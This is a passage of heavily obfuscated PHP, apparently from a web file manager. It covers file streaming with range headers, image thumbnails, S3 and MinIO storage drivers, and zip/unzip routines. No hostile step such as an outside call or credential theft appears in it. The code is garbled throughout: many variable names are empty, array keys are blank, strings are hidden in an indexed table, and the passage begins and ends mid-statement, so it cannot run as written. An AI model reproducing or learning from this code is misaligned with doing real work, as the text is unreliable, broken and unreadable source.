32); } public function link($ڜ) { return $ڜ; } public function fileOut($ǖ, $ = false, $ = false, $Ƨ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ǖ || !$this->exist($ǖ)) { show_json(LNG($[105]), !1, $); } $ = $this->getType() == $[106]; $ = $GLOBALS[$[6]][$[89]][$[107]][$[108]]; $ܝ۷ = (double) $GLOBALS[$[6]][$[89]][$[107]][$[109]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($ǖ); $۹ = $[$[76]]; $č = gmdate($[110], $[$[85]]); $䚞 = $ ? $ : $this->iconvApp($[$[32]]); $կ̓ = 0; $ = $۹ - 1; $кޫ = $this->ext($䚞); if (in_array($кޫ, array($[111], $[112], $[113], $[114]))) { $кޫ = $[115]; } if (in_array($кޫ, array($[116]))) { $кޫ = $[117]; } if (!$Ƨ) { $Ƨ = md5($č . $this->hashSimple($ǖ)); } $Ƨ = $[118] . $Ƨ . $[118]; $ҷҊ = get_file_mime($кޫ); $糨 = !0; $糨 = isset($_GET[$[119]]) ? !1 : !0; if ($ === !1 && !mime_support($ҷҊ)) { $ҷҊ = $[120]; } header($[121]); header($[122] . $ҷҊ); $ = rawurlencode($䚞); $ = $[118] . $ . $[123] . $; if ($) { header($[124]); header($[125] . $); } else { if ($糨) { header($[126] . $); } } header($[127] . gmdate($[110], time() + 3600 * 24 * 30) . $[128]); header($[129]); header($[130]); header($[131]); if (isset($_SERVER[$[132]]) && strtotime($_SERVER[$[132]]) == $[$[85]]) { header($[133], !0, 304); die; } if (isset($_SERVER[$[134]]) && $_SERVER[$[134]] == $Ƨ) { header($[135] . $Ƨ, !0, 304); die; } header($[135] . $Ƨ); header($[136] . $č . $[128]); header($[137] . $䚞); header($[138]); header($[139] . $۹); header($[140]); if (!$ && $кޫ == $[141]) { if ($۹ > 1024 * 1024 * 5) { die; } $ = $this->getContent($ǖ); $ = Html::clearSVG($); header($[142] . strlen($)); echo $; die; } $ݺ = strtolower($_SERVER[$[143]]); if ($ && $ݺ && $) { if (strstr($ݺ, $[144])) { header($[145] . $ǖ); } else { if (strstr($ݺ, $[146])) { header($[147] . $ǖ); } else { if (strstr($ݺ, $[148])) { header($[149] . $ǖ); } } } if ($ܝ۷) { header($[150] . $ܝ۷); } return; } if (isset($_SERVER[$[151]])) { if (preg_match($[152], $_SERVER[$[151]], $ȶȮ)) { $կ̓ = intval($ȶȮ[1]); $կ̓ = $կ̓ <= 0 ? 0 : ($կ̓ >= $ ? $ : $կ̓); if (!empty($ȶȮ[2])) { $ = intval($ȶȮ[2]); $ = $ < $կ̓ ? $կ̓ : ($ >= $ ? $ : $); } } header($[153]); header("\x43\157\156\164\145\x6e\x74\55\x52\x61\156\x67\x65\72\x20\x62\171\x74\x65\x73\x20{$կ̓}\x2d{$}\x2f" . $۹); } else { header($[154]); } header($[155]); $Ӆ = !0; if ($_SERVER[$[156]] == $[157] && $۹ > 1204 * 1024 * 1024 * 2) { $Ӆ = !1; } if ($Ӆ) { header($[158] . ($ - $կ̓ + 1)); } if ($_SERVER[$[159]] == $[160]) { return; } $ރ = 1024 * 100; $ƪ = 0; if ($ܝ۷) { $ƪ = intval(1000 * 1000 * ($ރ / $ܝ۷)); } while ($կ̓ <= $) { $ = timeFloat(); check_abort(); $ے = $ - $կ̓ + 1; if ($ے <= $ރ) { $ރ = $ے; } echo $this->fileSubstr($ǖ, $կ̓, $ރ); $կ̓ += $ރ; if ($ރ == $ے) { $կ̓ = $ + 1; } if ($ƪ) { $ = intval(1000 * 1000 * (timeFloat() - $)); $樯է = $ƪ - $; if ($樯է > 5) { usleep($樯է); } } } } public function fileOutServer($, $Ț = false, $ = false, $Ĭ = '') { $this->fileOut($, $Ț, $, $Ĭ); } public function fileOutLink($Ү) { header($_SERVER[][161] . $Ү); die; } public function cacheMethod($, $۫, $ = null) { $裂 =& $_SERVER[]; static $Ѝހ = array(); $؞ = $۫ ? ltrim($this->getPathOuter($۫), $裂[8]) : $裂[12]; $Ȧ = $裂[162] . $ . $裂[163] . rtrim($؞, $裂[8]); if (is_null($)) { $Ѝހ = array(); return; } if (is_null($۫)) { foreach ($Ѝހ as $Ȧ => $Ԏ) { if (!strstr($Ȧ, $裂[162] . $ . $裂[164])) { continue; } unset($Ѝހ[$Ȧ]); } return; } if (!is_null($)) { $Ѝހ[$Ȧ] = $; return; } $ = isset($Ѝހ[$Ȧ]) ? $Ѝހ[$Ȧ] : null; if (!is_null($)) { return $; } $ = $this->{$}($۫); $Ѝހ[$Ȧ] = $; return $; } public function cacheMethodInfoSet($ۼ, $, $ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[165], $ۼ, $); $this->cacheMethod($[166], $ۼ, $ ? !1 : !0); if (is_array($)) { $this->cacheMethod($[167], $ۼ, $); } } public function fileOutImage($օވǖ, $Ð㘼 = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($օވǖ, 0, 4) == $[148]) { $this->fileOutLink($օވǖ); } $ڲ = $this->info($օވǖ); $ᩈ = $ڲ[$[32]]; $ = !1; if (isset($GLOBALS[$[168]]) && $GLOBALS[$[168]][$[84]] == $ڲ[$[84]]) { $Ŀ = $GLOBALS[$[168]][$[169]]; if (!$ڲ[$[170]]) { $ڲ[$[170]] = $GLOBALS[$[168]]; } if (isset($Ŀ[$[171]])) { if ($Ŀ[$[171]] <= $Ð㘼 && $Ŀ[$[172]] <= $Ð㘼) { $ = !0; } } $ᩈ = $ڲ[$[170]][$[32]]; } if ($ڲ[$[76]] <= 1024 * 50 || $ || !function_exists($[173]) || $ڲ[$[174]] == $[175]) { return $this->fileOut($օވǖ, !1, $ᩈ); } if (isset($ڲ[$[170]][$[176]])) { $ޟ = $ڲ[$[170]][$[176]]; } else { if (isset($ڲ[$[170]][$[177]])) { $ޟ = $ڲ[$[170]][$[177]]; } } if (!$ޟ) { $ޟ = md5("{$ڲ[$[32]]}\x5f{$ڲ[$[84]]}\x5f{$ڲ[$[76]]}\137{$Ð㘼}"); } $ = "{$ޟ}\x5f{$Ð㘼}\x2e\160\156\147"; if (!($Շ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[178]))) { $ݥ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[179]); } else { $ݥ = KodIO::make($Շ); } if ($Շ = IO::fileNameExist($ݥ, $)) { $ = KodIO::make($Շ); return IO::fileOut($, !1, $ᩈ); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $ = DATA_THUMB . $; del_file($); if (!@file_exists($)) { $ = TEMP_FILES; if (!is_dir($)) { mk_dir($); } $ = $ . $ޟ . $[10] . $ڲ[$[174]]; if (!@file_exists($)) { $ = $this->download($օވǖ, $); } ImageThumb::createThumb($, $, $Ð㘼, $Ð㘼 * 10); } if (!file_exists($) || filesize($) < 100) { return @file_exists($) ? IO::fileOut($) : $this->fileOut($օވǖ); } if (!($ߏ = IO::move($, $ݥ))) { return IO::fileOut($); } del_file($); IO::fileOut($ߏ); } public function fileOutImageServer($ґģ, $ = 250) { $this->fileOutImage($ґģ, $); } public function fileNameAuto($, $, $ = REPEAT_RENAME, $Ԏ = false) { $ =& $_SERVER[]; $ = $ === $[12] ? $ : rtrim($, $[8]) . $[8] . $; if ($ == REPEAT_REPLACE || !$this->exist($) || $Ԏ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $Ԏ ? $[12] : $; $ = 1; $ = substr($, 0, strlen($) - strlen($)); $ԓ = $ . "\x28{$}\x29{$}"; while ($this->exist(rtrim($, $[8]) . $[8] . $ԓ)) { $ԓ = $ . "\50{$}\51{$}"; $++; } return $ԓ; } private function fileNameAutoList($݉, $挧, $Ȍ = false) { $ =& $_SERVER[]; $ъ = $this->listPath($݉, !0); $ъ = array_merge($ъ[$[82]], $ъ[$[83]]); $ = array_to_keyvalue($ъ, $[12], $[32]); $ = $[10] . get_path_ext($挧); $ = $ == $[10] || $Ȍ ? $[12] : $; $ = substr($挧, 0, strlen($挧) - strlen($)); $ = $ . "\x28\x30\51{$}"; for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "\50{$}\51{$}"; if (!in_array_not_case($, $)) { return $; } } return $; } public function listAllFiles($ډ, $ǟ܆) { $ =& $_SERVER[]; if (empty($ǟ܆)) { return array(); } $ = array_keys($ǟ܆); $ = array(); $ډ = trim($ډ, $[8]); foreach ($ǟ܆ as $ޙ => $־) { $΅ = ltrim(substr(trim($ޙ, $[8]), strlen($ډ)), $[8]); if (substr($ޙ, -1) == $[8]) { $΅ = rtrim($΅, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($΅)); } $ = array(); foreach (array_unique($) as $謁) { $֞ = array($[84] => $this->getPathOuter($[8] . $ډ . $[8] . $謁), $[75] => 1, $[76] => 0); if (substr($謁, -1) != $[8]) { $֞[$[75]] = 0; $ȼ = $this->getPath($ډ . $[8] . $謁); if (isset($ǟ܆[$ȼ])) { $Ȍ͜ = $ǟ܆[$ȼ]; if (isset($Ȍ͜[$[76]])) { $֞[$[76]] = intval($Ȍ͜[$[76]]); } if (isset($Ȍ͜[$[180]])) { $֞[$[85]] = intval($Ȍ͜[$[180]]); } } } $[] = $֞; } return $; } public function slicePath($ː) { $Ǹ =& $_SERVER[]; $ = explode($Ǹ[8], trim($ː, $Ǹ[8])); $ʴ = 0; do { ++$ʴ; $[] = implode($Ǹ[8], array_slice($, 0, $ʴ)) . $Ǹ[8]; } while ($ʴ < count($)); $[count($) - 1] = $ː; return $; } public function getHost() { $ =& $_SERVER[]; $ = parse_url(trim($this->domain, $[8])); $Γ = isset($[$[181]]) ? $[$[181]] : http_type(); $ű = isset($[$[182]]) ? $[$[182]] : $[$[84]]; if (isset($[$[183]])) { $ű .= $[4] . $[$[183]]; } return $Γ . $[184] . $ű; } public function pathEncode($ݒ) { $ =& $_SERVER[]; return str_replace($[185], $[8], rawurlencode($ݒ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($Ǭ) { set_timeout(); require_once SDK_DIR . $_SERVER[][186]; parent::__construct(); $this->_init($Ǭ); } public function _init($) { $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } $this->endpoint = $[$_SERVER[][187]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($릕 = "\166\x34") { $this->signVer = $릕; $this->client->setSignatureVersion($릕); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $踫 =& $_SERVER[]; $˟ = $this->getBucketCors(); if (!$˟ || !is_array($˟)) { return !1; } if ($˟[$踫[188]] != $踫[189] || $˟[$踫[190]] != $踫[189]) { return !1; } $ވ = array_map($踫[191], $˟[$踫[192]]); if (!is_array($ވ)) { $ވ = array(); } $ = array($踫[193], $踫[194], $踫[195], $踫[196], $踫[197]); $Р = array_diff($, $ވ); return empty($Р); } public function mkfile($㪎, $Ȏ = '', $ڇᛌ = REPEAT_RENAME) { $ = $this->setContent($㪎, $Ȏ); if ($ !== !1) { return $this->getPathOuter($㪎); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; if (empty($) && $ !== $[198]) { return !1; } if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } $ۇ = $this->setContent($, $[12], !0); if ($ۇ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($, $ϳ, $ = array()) { $Η =& $_SERVER[]; $棍 = $this->objectMeta($); if (!$棍) { return !1; } if ($棍[$Η[76]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $, $this->bucket, $ϳ, $Η[199], $); } else { $ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $ϳ, $); } $ = $ ? $this->getPathOuter($ϳ) : !1; return $; } public function moveFile($у, $܄) { if ($this->copyFile($у, $܄)) { $this->delFile($у); return $this->getPathOuter($܄); } return !1; } public function delFile($ȗ) { return $this->client->deleteObject($this->bucket, $ȗ); } public function delFolder($͝) { $މ =& $_SERVER[]; if (!$this->exist($͝)) { return !0; } $this->listItemCache = !1; $ݘ = $this->fileList($͝); $this->listItemCache = !0; $ݖ = trim($͝, $މ[8]) . $މ[8]; if (!empty($͝) && $͝ !== $މ[198] && !in_array($ݖ, $ݘ[$މ[82]])) { $ݘ[$މ[82]][] = $ݖ; } $ = $this->delByBatch($ݘ[$މ[83]]); if (!$) { return !1; } $ = $this->delByBatch($ݘ[$މ[82]]); if (!$) { return !1; } return $this->delFile($ݖ); } private function delByBatch($ݎ) { foreach (array_chunk($ݎ, 1000) as $ԛ̈́) { $ŀύ = $this->client->deleteObjects($this->bucket, $ԛ̈́); if (!$ŀύ) { return !1; } } return !0; } public function rename($ϝ, $) { return $this->renameObject($ϝ, $); } public function listPath($, $㳏 = false) { $֦ =& $_SERVER[]; $ = $this->fileList($, $֦[8], !0); foreach ($[$֦[82]] as $⩌ => $ڱӎ) { $[$֦[82]][$⩌] = $this->folderInfo($ڱӎ, $㳏, $ڱӎ); } foreach ($[$֦[83]] as $⩌ => $ڱӎ) { $[$֦[83]][$⩌] = $this->fileInfo($ڱӎ[$֦[32]], $㳏, $ڱӎ); } return $; } protected function infoChildren($笞, &$ڱ) { $ܜ =& $_SERVER[]; $ = $this->fileList($笞, $ܜ[12], !0); $ڱ[$ܜ[78]] += count($[$ܜ[82]]); $ڱ[$ܜ[77]] += count($[$ܜ[83]]); foreach ($[$ܜ[83]] as $) { if (!$ || !$[$ܜ[76]]) { continue; } $ڱ[$ܜ[76]] += $[$ܜ[76]]; } } private function fileInfo($ԸÔ, $߃ = false, $ˉ = array()) { $が =& $_SERVER[]; $ = array($が[32] => $this->pathThis($ԸÔ), $が[84] => $this->getPathOuter($ԸÔ), $が[33] => $が[200], $が[174] => $this->ext($ԸÔ), $が[76] => isset($ˉ[$が[76]]) ? $ˉ[$が[76]] : 0); if ($߃) { return $; } $[$が[201]] = $[$が[85]] = 0; $[$が[202]] = $[$が[203]] = !0; if (empty($ˉ)) { $ˉ = $this->objectMeta($ԸÔ); if (!$ˉ) { return $; } } if (isset($ˉ[$が[180]])) { $[$が[85]] = $ˉ[$が[180]]; } if (isset($ˉ[$が[76]])) { $[$が[76]] = $ˉ[$が[76]]; } return $; } private function folderInfo($ؾ͆, $ = false, $ = array()) { $ݚ =& $_SERVER[]; $ɸ = array($ݚ[32] => $this->pathThis($ؾ͆), $ݚ[84] => $this->getPathOuter($ݚ[8] . $ؾ͆), $ݚ[33] => $ݚ[75]); if ($) { return $ɸ; } $ɸ[$ݚ[201]] = $ɸ[$ݚ[85]] = 0; $ɸ[$ݚ[202]] = $ɸ[$ݚ[203]] = !0; if ($ؾ͆ == $ݚ[12]) { return $ɸ; } if (empty($)) { $ = $this->objectMeta(trim($ؾ͆, $ݚ[8]) . $ݚ[8]); } if (isset($[$ݚ[180]])) { $ɸ[$ݚ[201]] = $[$ݚ[180]]; } return $ɸ; } private function fileList($詝, $ܚ = '', $ס = 0) { $ =& $_SERVER[]; $ = rtrim($詝, $[8]) . $[8]; $ܮ = $this->listObjs($, null, null, $ܚ); if (!$ܮ) { return array($[82] => array(), $[83] => array()); } $ҝ = $ = array(); foreach ($ܮ[$[204]] as $) { $ʓ = $[$[32]]; if ($ʓ == $) { continue; } $ = isset($[$[76]]) ? $[$[76]] : 0; $˷ = $ == 0 && substr($ʓ, strlen($ʓ) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($ʓ, $˷, $); if ($˷) { $ҝ[] = $ʓ; continue; } $[] = $ס ? $ : $ʓ; } foreach ($ܮ[$[205]] as $) { $ҝ[] = $[$[32]]; $this->cacheMethodInfoSet($[$[32]], !0); } $this->cacheMethodInfoSet($詝, !0); return array($[82] => $ҝ, $[83] => $); } private function listObjs($ư, $ = null, $ = null, $н = null) { $ˁ =& $_SERVER[]; $ư = trim($ư, $ˁ[8]); $ӈ䲊 = empty($ư) && $ư !== $ˁ[198] ? $ˁ[12] : $ư . $ˁ[8]; return $this->client->getBucket($this->bucket, $ӈ䲊, $, $, $н, !0); } public function has($캩狱, $Ú = false, $ = true) { $ =& $_SERVER[]; $캩狱 = trim($캩狱, $[8]); $Ƌੱ = empty($캩狱) && $캩狱 !== $[198] ? $[12] : $캩狱 . $[8]; $ʛ = null; $鬈 = 500; $Թ، = $[8]; $ = $Ƣ = array(); while (!0) { $ = $this->listObjs($캩狱, $ʛ, $鬈, $Թ،); if (!$) { break; } $ʛ = $[$[206]]; $ = $[$[204]]; $϶ = $[$[205]]; if (empty($) && empty($϶)) { break; } if (count($) == 1 && $[0][$[32]] == $Ƌੱ) { break; } if ($Ú) { if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if (count($϶)) { $϶ = array_column($϶, $[32]); $Ƣ = array_merge($Ƣ, $϶); } if ($ʛ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$[32]]) && $[0][$[32]] != $Ƌੱ) { return !0; } } } else { if (!empty($϶)) { return !0; } } if ($ʛ === null) { break; } } if ($Ú) { $ = array_diff($, array($Ƌੱ)); $ = count(array_unique($)); $Ƣ = count(array_unique($Ƣ)); return array($[207] => $, $[208] => $Ƣ); } return !1; } public function listAll($) { $̥ =& $_SERVER[]; $Ơ = $this->fileList($, $̥[12], !0); $˝ = array_to_keyvalue($Ơ[$̥[83]], $̥[32]); foreach ($Ơ[$̥[82]] as $ݓ) { if (is_string($ݓ)) { $˝[$ݓ] = array($̥[76] => 0); } } return $this->listAllFiles($, $˝); } public function canRead($) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[209], $[210], $[211])) ? !0 : !1; } public function canWrite($) { $Ź =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($Ź[209], $Ź[210])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($ڐ, $ = '', $ = false) { $Ɩ =& $_SERVER[]; $ڐ = $ ? trim($ڐ, $Ɩ[8]) . $Ɩ[8] : $ڐ; $ = get_file_mime(get_path_ext($ڐ)); $Е = $this->client->putObject($, $this->bucket, $ڐ, $Ɩ[199], array(), $); if (!$Е) { return !1; } if ($) { return !0; } $this->cacheMethod(null, null); $Е = $this->copyFile($ڐ, $ڐ, array($Ɩ[212] => $Е[$Ɩ[213]])); return $Е ? !0 : !1; } public function fileSubstr($ړ, $, $Ҧ) { $њ = $ + $Ҧ - 1; return $this->client->getObject($this->bucket, $ړ, array($_SERVER[][214] => "\x62\x79\164\x65\x73\75{$}\x2d{$њ}")); } public function upload($, $ҙ, $ = false, $Ꙗ = REPEAT_REPLACE) { $ع =& $_SERVER[]; $ = array($ع[212] => @md5_file($ҙ)); $ = array($ع[215] => get_file_mime(get_path_ext($))); if (IO::size($ҙ) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($ҙ, $this->bucket, $, $ع[199], $, $); return !empty($) ? $this->getPathOuter($) : !1; } $ = $this->client->multiUploadObject($ҙ, $this->bucket, trim($, $ع[8]), $, $); return $ ? $this->getPathOuter($) : !1; } public function download($б, $Х) { if (!@is_dir($this->pathFather($Х)) && !IO::mkdir($this->pathFather($Х))) { return !1; } $ = $this->client->getObject($this->bucket, $б, array(), $Х); return $ !== !1 ? $Х : !1; } public function link($, $ʓ = array()) { $ʗ =& $_SERVER[]; if ($this->signVer == $ʗ[216]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $ʓ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $ʗ[8]), 3600 * 12, $this->region, array(), !0, $ʓ); } public function fileOut($, $ = false, $˛ = false, $ˌ = '') { $ߺ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $˛, $ˌ); } if (!$˛) { $˛ = $this->pathThis($); } $ = get_file_mime(get_path_ext($˛)); if ($ == $ߺ[217]) { return parent::fileOut($, $, $˛, $ˌ); } $ = array($ߺ[218] => $); if ($) { $[$ߺ[219]] = $ߺ[220] . rawurlencode($˛); } else { } $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($ꂔ, $賫 = false, $ = false, $ = '') { parent::fileOut($ꂔ, $賫, $, $); } public function fileOutImageServer($ڥ, $Տ = 250) { parent::fileOutImage($ڥ, $Տ); } public function hashMd5($Ȑ, $γ = '') { $㔕 =& $_SERVER[]; $ = $this->objectMeta($Ȑ); if (!$) { return !1; } $γ = $γ ? $γ : _get($, $㔕[221]); $γ = $γ ? $γ : _get($, $㔕[213], $㔕[12]); return $γ; } public function uploadFormData($ɘɥ, $ثĪ = 3600) { $ =& $_SERVER[]; $ = $this->pathFather($ɘɥ); $ɝ߃ = $this->client->getHttpUploadPostParams($this->bucket, $, $[199], $ثĪ); return array_merge((array) $ɝ߃, array($[182] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ݔ = gmdate($[222]); $ԝ = array(); $̈́ = $this->client->getUploadId($this->bucket, $, $ԝ); if (!$̈́) { return !1; } return array($[223] => $̈́, $[182] => $this->getHost() . $[8] . $this->pathEncode($), $[224] => $ݔ, $[94] => $); } public function multiUploadAuthData($, $ӡ = array()) { $ԙ =& $_SERVER[]; $ɟ = isset($ӡ[$ԙ[224]]) ? $ӡ[$ԙ[224]] : gmdate($ԙ[222]); $ = isset($ӡ[$ԙ[174]]) ? $ӡ[$ԙ[174]] : $ԙ[12]; $Ͻ = $ӡ[$ԙ[94]]; unset($ӡ[$ԙ[94]]); if (isset($ӡ[$ԙ[225]])) { $ӡ[$ԙ[224]] = $ɟ; return $this->listUploadParts($Ͻ, $ӡ); } $Ĉ = array($ԙ[226], $ԙ[12], $ԙ[120], $ԙ[12], "\170\55\x61\x6d\172\x2d\x64\141\x74\x65\x3a{$ɟ}", $ԙ[8] . $this->bucket . $ԙ[8] . $this->pathEncode($Ͻ) . $); if (strpos($, $ԙ[227]) === 0) { $Ĉ[0] = $ԙ[228]; } if (isset($ӡ[$ԙ[229]]) && $ӡ[$ԙ[229]] == $ԙ[230]) { $Ĉ[0] = $ԙ[230]; } $ș = implode($ԙ[231], $Ĉ); $Ҡ = base64_encode(hash_hmac($ԙ[232], $ș, $this->secret, !0)); $Ұ = $ԙ[233] . $this->accessKey . $ԙ[4] . $Ҡ; if (strpos($, $ԙ[227]) === 0) { return array($ԙ[234] => $Ұ, $ԙ[224] => $ɟ); } return $Ұ; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[]; $ك = str_replace($[235], $[12], $[$[174]]); $ܧ = $this->client->listParts($this->bucket, $, $ك); if (!$ܧ) { return !1; } unset($[$[225]], $[$[229]]); $[$[94]] = $; $ϴñ = $this->multiUploadAuthData($, $); if (empty($ϴñ)) { return !1; } return array($[234] => $ϴñ, $[224] => $[$[224]], $[236] => $ܧ); } public function getHost() { return parent::getHost() . $_SERVER[][8] . $this->bucket; } public function size($ۭ) { $Ęٔ = $this->objectMeta($ۭ); return $Ęٔ ? $Ęٔ[$_SERVER[][76]] : 0; } public function info($ߍ) { if ($this->isFolder($ߍ)) { return $this->folderInfo($ߍ); } else { if ($this->isFile($ߍ)) { return $this->fileInfo($ߍ); } } return !1; } public function exist($٣) { return $this->isFile($٣) || $this->isFolder($٣); } public function isFile($է) { return !$this->isFolder($է) && $this->objectMeta($է); } public function isFolder($ݐ) { return $this->cacheMethod($_SERVER[][165], $ݐ); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $); if (!isset($[$[221]]) && isset($[$[237]])) { $[$[221]] = $[$[237]]; } } catch (Exception $圧) { $ = !1; } if (!$) { } return $; } protected function _isFolder($ꍡ) { $뽃 =& $_SERVER[]; $ꍡ = rtrim($ꍡ, $뽃[8]); if ($ꍡ == $뽃[12] || $ꍡ == $뽃[8]) { return !0; } $Ҋ = $this->client->getBucket($this->bucket, $ꍡ, null, 1); if (empty($Ҋ[$뽃[204]])) { return !1; } $ɜ = $Ҋ[$뽃[204]][0][$뽃[32]]; return stripos($ɜ, $ꍡ . $뽃[8]) === 0 ? !0 : !1; if (substr($ɜ, -1) == $뽃[8]) { return !0; } if (get_path_this($ɜ) == get_path_this($ꍡ)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ϵ) { parent::__construct($ϵ); $this->signatureVersion($_SERVER[][216]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto CIJ; F◝: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $ۅ; if ($ۅ) { return $ۅ; } $ = IO::init($_SERVER[][8]); return $; } private static function iconvSystem($Ƈ) { return self::local()->iconvSystem($Ƈ); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $۪ = "\172\151\x70", $ʭɟ = '', $ = REPEAT_RENAME) { $Ɂ =& $_SERVER[]; $Ð = IO::listPath($); if (!$Ð) { return !1; } $Ð = array_merge($Ð[$Ɂ[82]], $Ð[$Ɂ[83]]); return self::zip($Ð, $۪, $ʭɟ, $); } public static function zip($, $ = "\x7a\x69\x70", $ = '', $ = REPEAT_RENAME) { $殻 =& $_SERVER[]; if (is_string($) && $) { $ = array(array($殻[84] => $)); } $ߵغ = self::init($[0][$殻[84]]); $ = self::info($[0][$殻[84]]); $NJ = $殻[12]; $ = $殻[12]; $é = $殻[12]; if ($ && substr($, -1, 1) != $殻[8]) { $ = get_path_father($); $é = get_path_this($); } else { $ = self::pathFather($[$殻[84]]); $é = $[$殻[32]] . $殻[10] . $; if (count($) > 1) { $ = IO::info($); $é = $[$殻[32]] . $殻[10] . $; } if ($) { $ = $; } } if ($ߵغ->getType() == $殻[106]) { $ڲ = self::init($); $ = $ڲ->getType() == $殻[106] ? $ : get_path_father($ߵغ->path); $ = rtrim($, $殻[8]) . $殻[8]; mk_dir($); } else { $NJ = TEMP_FILES . $殻[1185] . time() . rand_string(8) . $殻[8]; mk_dir($NJ); file_put_contents($NJ . $殻[1186], $殻[12]); $ = $NJ; } $泝 = IO::info($); if (!$泝 || !$泝[$殻[203]]) { show_json(LNG($殻[1187]), !1); } $ = self::zipFileList($, $NJ); foreach ($ as $ޛ => $) { $[$ޛ] = self::iconvSystem($); } $֣ = get_filename_auto($ . $é, $殻[12], $); KodArchive::create(self::iconvSystem($֣), $); if (!IO::exist($֣)) { if ($NJ) { del_dir($NJ); } show_json(LNG($殻[1188]), !1); } if (!$NJ) { return $֣; } $˯ = self::move($֣, $, $); if ($NJ) { del_dir($NJ); } if (!$֣) { show_json(LNG($殻[1188]), !1); } return $˯; } public static function unzip($ì, $隰, $ = "\x2d\x31", $Џ = "\162\145\x70\x6c\x61\x63\145") { $砩ɡ =& $_SERVER[]; $ = parent::info($ì); if (!$) { show_json(LNG($砩ɡ[1189]), !1); } $і = IO::infoFull($隰); if (!$і) { $隰 = IO::mkdir($隰); } if (isset($і[$砩ɡ[402]]) && trim($і[$砩ɡ[84]], $砩ɡ[8]) != trim($隰, $砩ɡ[8])) { $ = KodIO::make($і[$砩ɡ[432]]); $Ț = IO::fileNameAuto($, $і[$砩ɡ[32]], REPEAT_RENAME_FOLDER, !0); $隰 = IO::mkdir($ . $Ț); } $ = $ && $ != $砩ɡ[1190] ? @json_decode($, !0) : -1; $˘Ź = self::unzipPart($ì, $); if (!$˘Ź || !IO::exist($˘Ź[$砩ɡ[200]])) { show_json(LNG($砩ɡ[105]), !1); } $ل = $˘Ź[$砩ɡ[1191]][count($˘Ź[$砩ɡ[1191]]) - 1]; if ($ل[$砩ɡ[1192]] == -1 || substr($ل[$砩ɡ[32]], -1, 1) == $砩ɡ[8]) { $ٚ = $˘Ź[$砩ɡ[1193]] . rand_string(10) . $砩ɡ[8]; mk_dir($ٚ); $ = count($˘Ź[$砩ɡ[1191]]) == 1 ? IO::ext($ì) : get_path_ext($˘Ź[$砩ɡ[200]]); $åꔧ = KodArchive::extract(self::iconvSystem($˘Ź[$砩ɡ[200]]), $ٚ, $ل[$砩ɡ[1192]], $Ț, $); self::unzipErrorCheck($åꔧ, array($砩ɡ[1194], $ì, $, $隰, $˘Ź)); Hook::trigger($砩ɡ[1195], $ٚ); recursion_dir($ٚ, $Ւ, $, 0); $ = array_merge($Ւ, $); $ݣ = array(); foreach ($ as $) { $ = IO::move(self::iconvApp($), $隰, $Џ); if ($) { $ݣ[] = $; } } del_dir($ٚ); } else { $ = IO::move($˘Ź[$砩ɡ[200]], $隰, $Џ, get_path_this($ل[$砩ɡ[32]])); if ($) { $ݣ[] = $; } } return $ݣ ? $ݣ : !1; } public static function unzipList($) { $Δ =& $_SERVER[]; $ = isset($[$Δ[1196]]) ? $[$Δ[1196]] : !1; $ܦ = isset($[$Δ[1192]]) ? @json_decode($[$Δ[1192]], !0) : -1; $ɪ = self::unzipPart($[$Δ[84]], $ܦ); if (!$ɪ || !IO::exist($ɪ[$Δ[200]])) { show_json(LNG($Δ[105]), !1); } $ɻ݄ = $ɪ[$Δ[1191]][count($ɪ[$Δ[1191]]) - 1]; $ȢΊ = in_array(IO::ext($ɪ[$Δ[200]]), array($Δ[313], $Δ[1197], 